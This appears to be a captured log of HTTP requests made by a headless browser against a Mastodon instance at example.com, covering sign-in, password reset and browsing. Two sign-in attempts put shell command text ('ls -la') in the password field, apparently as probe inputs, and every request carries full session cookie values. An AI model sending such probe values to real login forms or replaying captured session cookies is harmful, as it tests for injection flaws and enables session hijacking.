{"method": "GET", "target": "/oops.png", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/@admin/with_replies", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=P99A4aWKLH4s0GL46qk8Hl%2BUpnDukJ6bw1DpAbDHV67zkcBmXsqzWS1GJBwfCtYQaVLBgtzvamWzuyYpZLrzEjbEvbCDiW77AslmOj%2BQiyXE3xtnF%2BYvRbF3wHp1RBBEvWQ3B19O3%2B6DInK6O2WRICL6lET45EBlMrYFBBknMKwl1KHoo%2BKheo4TUqfZewvKqPqRZFjsBzFh6l7U4VZsBb4RELtl8Dk8leNd%2F0vCboT6UOWGYvCyb8brQBMizsjJrpa8ZEKz0XWrntRYxzvLjI1M2o%2BRugTi8Q%3D%3D--kZdT4xbuOxBTkQzT--Z4RpSlVplsEmtgrsU0RJow%3D%3D"], "body": ""}
{"method": "GET", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=P99A4aWKLH4s0GL46qk8Hl%2BUpnDukJ6bw1DpAbDHV67zkcBmXsqzWS1GJBwfCtYQaVLBgtzvamWzuyYpZLrzEjbEvbCDiW77AslmOj%2BQiyXE3xtnF%2BYvRbF3wHp1RBBEvWQ3B19O3%2B6DInK6O2WRICL6lET45EBlMrYFBBknMKwl1KHoo%2BKheo4TUqfZewvKqPqRZFjsBzFh6l7U4VZsBb4RELtl8Dk8leNd%2F0vCboT6UOWGYvCyb8brQBMizsjJrpa8ZEKz0XWrntRYxzvLjI1M2o%2BRugTi8Q%3D%3D--kZdT4xbuOxBTkQzT--Z4RpSlVplsEmtgrsU0RJow%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/_rolldown_dynamic_import_helper-CIAwlR2T.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=sPgL3ou8sthfWEkwqZ65YZy9V2B1tZu9TNRUYO%2Bp07ZVlTIyhmzZcePoFdN8IzhCysqLk0t27cqDPQH%2F7DNSQIJgYTRo67X3pMWZ4oThGw8f8eOYrCpWWjkPaXIQM18CQx4%2Ba%2FrpWyr2FvWUbkRRTOLQlWU%2FPah9dAQxZdWMDaP7ELjRdmf3EBp%2FQ3xcYJD6maSbMzB59bBAcDwNQ9jistbiipsOPSRrUsXmvVcwvVjuowPUUEGVsuAufTe%2BVDvvM7QBf8mUxTTpsyB7mX4mJAtQwkvS9e8Ksw%3D%3D--mWr3qElxhcNX%2BK3s--L5GjqJgw3Kt0CYbhkSAzeQ%3D%3D"], "body": ""}
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 181", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=sPgL3ou8sthfWEkwqZ65YZy9V2B1tZu9TNRUYO%2Bp07ZVlTIyhmzZcePoFdN8IzhCysqLk0t27cqDPQH%2F7DNSQIJgYTRo67X3pMWZ4oThGw8f8eOYrCpWWjkPaXIQM18CQx4%2Ba%2FrpWyr2FvWUbkRRTOLQlWU%2FPah9dAQxZdWMDaP7ELjRdmf3EBp%2FQ3xcYJD6maSbMzB59bBAcDwNQ9jistbiipsOPSRrUsXmvVcwvVjuowPUUEGVsuAufTe%2BVDvvM7QBf8mUxTTpsyB7mX4mJAtQwkvS9e8Ksw%3D%3D--mWr3qElxhcNX%2BK3s--L5GjqJgw3Kt0CYbhkSAzeQ%3D%3D"], "body": "authenticity_token=YBiFBdF-3jG5EOxhF1sjYGzUdBCTXEROhQPe4y5bBFWERvd8gQqxhguAlHAJuI_W98DnScSrzETt5jvr_ajjBA&user%5Bemail%5D=admin%40example.com&user%5Bpassword%5D=wrong+ls+-la&button="}
{"method": "GET", "target": "/auth/password/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=uI%2BJbpntJBTB6fbn6N1mQIMyFngCoyGh4xPbuheZgFu9hc35yo2ry2OEJ6PURZIoQdC5X76YOOatVLfdQOZsmdFEiEFo1YPpqda1x8Of2eksflmrzKDVVajQ2CIppm3cS0MR6WJSPH7Vp9hDBD3U4L3xe5e0S1EHR3AN2uW8FYAnxZA5VScmcta1e4cdNXQYATYRShOA6TPoh9IZqoQBEEZGuv1EDlHS%2Fu%2FTRAxn2Qo4l%2FzTcucWDRq%2F4gsA7s9tdU8SrsvwNRc%2Bz%2BKNIMiDiKEVRCuh%2BEQ%2Few%3D%3D--te09A8TdGyjRQryO--HlwNLJKT2Y1NN%2FPpenYjOg%3D%3D"], "body": ""}
{"method": "POST", "target": "/auth/password", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 150", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/password/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=tK17FZfnsNGmfgp5g3yygZyIZhAlUySr3oCJVeLEyEN2vMOmcbZjI4vJeHrdrnUOgEjTFHfnqNel%2BuvWe1xkga9HBnKGZAg2fVxiVB51qjHbSqwJtWWXPbWJmE42%2Br93hAmO5a9m6Eq9J9UKaDhtg%2Bdi%2F4QjfI47AQBAC5VorkIAOKFS%2BgodC8ZmiwEfaKmt1ZrLYq7LbS%2BPKZq1u2EeIS5zsHGMmNBZKLIPPNPv9lBueoqEluQtsdYWxsiPitgQ6o%2Bpzsfk0c6q3tU%2FxCSmk2PHthvJdrr3wQ%3D%3D--nattG4n8ZzPDvFuE--tnSiSmZJb1h8kLZ7JpXiYQ%3D%3D"], "body": "authenticity_token=dGH0Rtc_mPEzBPXi7x2dxU2LHEX8Q6p87yFwjDFLHwu2_iXowjtGuoybsROnRAN6LbTINkxk5zhaB6xSROqkGg&user%5Bemail%5D=nobody%40example.com&button="}
{"method": "GET", "target": "/packs/emoji-C5pkf6Bo.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=LgPurskyAR3GEmHSy%2BxSW7e%2F6bC3cGLJXHHTQY568jHH6xxcE2wxGfPIjNX26itedY98EhR5N8QN7%2FMTemz1JRbhyQ%2F%2Bi0IStWJ8OzICHhz3446gouG1g%2Bei0GpJtyUOMd0%2B2Rr%2BLM7sRYXeE3IPW3LzX2ykCyN4cxZQkVUFQ7y8O7PR9RZw%2FOd1NkY9%2B82XibUC89vjQaBTdETk0zzgQzCLurDdnmtJkKU31Vh3dyeeHa63pmqmDtlRGRWjAVJT0M%2BXk0ki7YNTVLq4uWGHVJ6q6TeO2BswEA%3D%3D--kjzl6yjAEI1NOCBX--YIQZP8uv8I1mkb2GTcSrbA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/settings-Cq4pjZIN.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=Q7HoiTX%2BcJm9LXv%2BhZYGxZRXindYZ%2FDJ0HYdn7ur0GUl42m3edTDwwrcxhU9yoS8yxdqRLgaTk0jP3qinG8UASlcPHDXXeyeCdAHpahqiZ%2Fuxmn10PLbClbOHHUfVCemrKfDz56jtrpEa65rc5q8AjDXHUh5gkaw5lhA9zzWv0j%2FamxGUGqybsxH%2F3trfw%2FSeDymUXhySPdfidMuBWMEfTn8P7Yd8CWYKmyy0lx0hcPs%2FyR%2FWfaSgyJK%2FiBylbIcOkgK2Mg7mbLEo8qihGgVORLgG22E5%2BxOCA%3D%3D--BmwNr8ZWAKQMuKjM--CImc0jei8FFJeru5Z7tbMQ%3D%3D"], "body": ""}
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 196", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=Q7HoiTX%2BcJm9LXv%2BhZYGxZRXindYZ%2FDJ0HYdn7ur0GUl42m3edTDwwrcxhU9yoS8yxdqRLgaTk0jP3qinG8UASlcPHDXXeyeCdAHpahqiZ%2Fuxmn10PLbClbOHHUfVCemrKfDz56jtrpEa65rc5q8AjDXHUh5gkaw5lhA9zzWv0j%2FamxGUGqybsxH%2F3trfw%2FSeDymUXhySPdfidMuBWMEfTn8P7Yd8CWYKmyy0lx0hcPs%2FyR%2FWfaSgyJK%2FiBylbIcOkgK2Mg7mbLEo8qihGgVORLgG22E5%2BxOCA%3D%3D--BmwNr8ZWAKQMuKjM--CImc0jei8FFJeru5Z7tbMQ%3D%3D"], "body": "authenticity_token=tYbEcCSCu_h8rdEZMghnMlgWjAfdQqHTHZTziWCpLDGY4jaY_4SFkQ8H3ExPvU0CrjiKVBmqAYLTIfSNHXZxQA&user%5Bemail%5D=admin%40example.com&user%5Bpassword%5D=Notes+on+python3+and+ls+-la&button="}
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzQ6NTkuNjQxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--28d48911bed2da76e657cfd48585158534d5c47a; _mastodon_session=YOrx89o7qjhKPvfEpdmJdg570269f7aSZUML40W%2BlW%2Fubs3xwgoch4q6AM6Xg32%2Fg8exFZkHUcCpsL0Giy7MTzZtWxBlZf%2F5I9GiyuFtlESBUtdEqkP4Z4KrT8%2Fg2omaV31xIX%2FzBgvIKVAfLuVT9qYDlW%2Fc75Set4vCcT5iavNtARnC6D5zDbrQ2LKim4q0R7PxXwig%2BurKNmOXTX%2BkXRjGWCd53iA4MDZv9epg0PHiOaeEm2mSGNXj9B0UWAemSPAKe7fhjrde1fvntrmpl4%2FWRY8HD27UsA%3D%3D--%2BsgIH0y6zLs7lrky--UaPVyEFTlgr4bA1SqWGzmQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/auth/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzQ6NTkuNzY0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2c181d84aa265551b1780d27b3a76d7cbab01297; _mastodon_session=TQU0aHRupi%2FO1r4Sxmv5u0NmPDuoFmGlYx%2BVd0gkNyNuJjnokw4P2gab2wy2odvAiO1pb1tsNmi3Qdfsa8AwhL6XftfrqXGEF7jOqES4u%2FaPRaXGJSiKVxpx9rnZsFuXt3RLE7n5b7BpCo2aGAhgj6A%2FXbtz2KZlcc46LCsYn4v4GXf8nmjT60UsJCRwFZGe7sxa3IgN5hS6nBq%2Fnet2iiLuEIJYN6mQlsCfN%2BMCX49ea94HlP2MU51C45bAQ25hajhf%2BCtJkfEUHl1q%2FDGzeuUpHCsc1Pz2pA%3D%3D--%2BE9%2FnPiju%2BohhYYJ--qZsWuPtrWuSNcuYoMrq71w%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/database-D_1Mbg_g.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzQ6NTkuODIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4351c8afb92d6b2c0536b7020c45f811d629a802; _mastodon_session=K1pk1JTWWlVjT11oK%2Fq%2FfGE4Tx32aDJODVBDx8MFp3AV%2FQj58i27HoeIwY49AI6q1bprv5%2Br9gKrof7XsNxxn5tReXkM4n7Jcmts2tou3D1rJtq6c5hIPDWF7eD69SfvreRcAttD6o1Iz9btDMOpfQKBn0%2Fp%2BLOj8rB3Dn%2FZfCIYNy3rfI9NODy1NL3IXRpeihMBQlQRmOUjdmYJxyj69u0xn7YhP2LtcaxoqYztqE4iZvUcq5smR2MCrZeORpTRGgXgYsXI6faap9sY0yo8ozRFCgz2mwnAxFqW3sE%2FHza7dmSwTWdTb%2FydJN1dtG5hDfwSfrNKP2q2ejGMH8hm%2BihQp658MA3VzU6CYhzzZmVXykA73YDKeKPzBP9%2F2B0DTgtwJKcF5OZs--vZgFBAv%2BiCLnYPwl--gb7SPq6pMfnQ0SQ73wsbDQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/home", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzQ6NTkuODIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4351c8afb92d6b2c0536b7020c45f811d629a802; _mastodon_session=K1pk1JTWWlVjT11oK%2Fq%2FfGE4Tx32aDJODVBDx8MFp3AV%2FQj58i27HoeIwY49AI6q1bprv5%2Br9gKrof7XsNxxn5tReXkM4n7Jcmts2tou3D1rJtq6c5hIPDWF7eD69SfvreRcAttD6o1Iz9btDMOpfQKBn0%2Fp%2BLOj8rB3Dn%2FZfCIYNy3rfI9NODy1NL3IXRpeihMBQlQRmOUjdmYJxyj69u0xn7YhP2LtcaxoqYztqE4iZvUcq5smR2MCrZeORpTRGgXgYsXI6faap9sY0yo8ozRFCgz2mwnAxFqW3sE%2FHza7dmSwTWdTb%2FydJN1dtG5hDfwSfrNKP2q2ejGMH8hm%2BihQp658MA3VzU6CYhzzZmVXykA73YDKeKPzBP9%2F2B0DTgtwJKcF5OZs--vZgFBAv%2BiCLnYPwl--gb7SPq6pMfnQ0SQ73wsbDQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/auth/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzU6MDEuMDU5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6c78b7fb3bec1ce605d39ee0aef03bde18540ca3; _mastodon_session=VIe15oPh2vxBOI2mENddhE8dwJu5zLG%2BNqG6TNxbzJ8rkncq%2FBoXLq%2BmSlA3%2FylpwLFu5CL%2FDFN3RLAfslhJFo%2FUAzoM8wHyLdXdIBga49tivHH9vPIaMRiibFeEtyBo71FfXm5dEcVO0r7ChYQgY5X%2FgMip3Y9xmlUrkB%2FIlNF58vmJNKqa87toSjsiFZRA28t77CmZ1CLdSD9wh0JwGnJI49bASQo9l8cM268Not5IOziRQbiRgnJ%2FpIA8rm80N9GZRrh2RJsnR0EMKjOLXCky7aEKGpD7QiawHibgQxFoxgtoYq30CxwONb7nJG%2FkVC0NGE1AzMty2NehgFea%2FNxInqKbZh1RGM8QmDyB3c5tR3E5RA97cjxAO7hNK7x5lnECUl6nYA1s--v%2FKn7kQWQ6mlSdW4--4ZtgcqEPjqZKHhpphX1Hig%3D%3D"], "body": ""}
{"method": "GET", "target": "/notifications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzU6MDEuMDg1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c3e621804b83e419e53240da45526963a03c5ebf; _mastodon_session=czJbA3y3k%2F1WDIHXTgXGCFLjJqzqNZJUS0RyxOagay9LjMXrSZk2z5HAC8YWgvfh6oSiD8XgcSb1rTO5kLsRomQLim0I0Z17ZDkJQnBo4UPW5MwJAOuuibdQJMMUm%2B79UjMOAdd9Hm%2BSPtHBq1XtuinptVeUko%2Brorb4WdC8pkNfedJK9D5W9WQuJLWdwhiCkKl19YAduVSOOuoCQGBhZHHoFzoRairx5rQANN1do7uHQ7Cqk8wukXAIezbN22svCTlBpL7R1zur%2FDYfQcap1NrMzMMLc8POt4296FMtGcXwqlwmy7PloAwcV1A50r%2BcZz%2FGehul21iSzHg5JsYuv%2Fkx8JiC43grUgIk4ZeitYCEZlRMEV3Mrw8iKKyEcTCOa4tlNxYbZXxr--7RU2Oc651EV%2BHj2h--Ut842kXYyHeUza298GjX2w%3D%3D"], "body": ""}
{"method": "GET", "target": "/explore/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDIuNTg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--87c3afaae3eaa8e0f540d7c72e6743cd8faf095b; _mastodon_session=Z%2FHxCqyWviABD16R7qGKiqAzID3lMEE480qUb40hJSW1AUNBQ8Pp4RneLTa5z3wqN3KDhvDf5WG8IOLjQyLqtWq0dreNkLQdPlisYhOdgXYZ0YknJ%2FJEuLDNFCteVDZfp4PZ6IaLQwn5grrGnEc5mli16xZo7I5yoOM2N%2FAgdtVI8C41B3e1AAoVgvz1VxFGVG4CFbJ4CWroiu5FASt9GCkk1f0dAKo6DXFTTF7fgmn%2Fb9DmaaGpwqPYMozL2SaG8Py9rolQ%2By6PAsVu4f1XZk2mcktwFoLom46o5k82NnDMQCdBNp7ywCN2Xr4U%2ByXOa%2Flp%2FEGbVN2Xqj2LisdGh1kgh80RftAz%2BLZgHKnoFQ5ZqarigOc3MUF26%2FO5p7Alk0vFylpe7Ok8--7XAIk5WiJgkyFfel--Wr8qrB8%2B1iphsrudj%2FhYlw%3D%3D"], "body": ""}
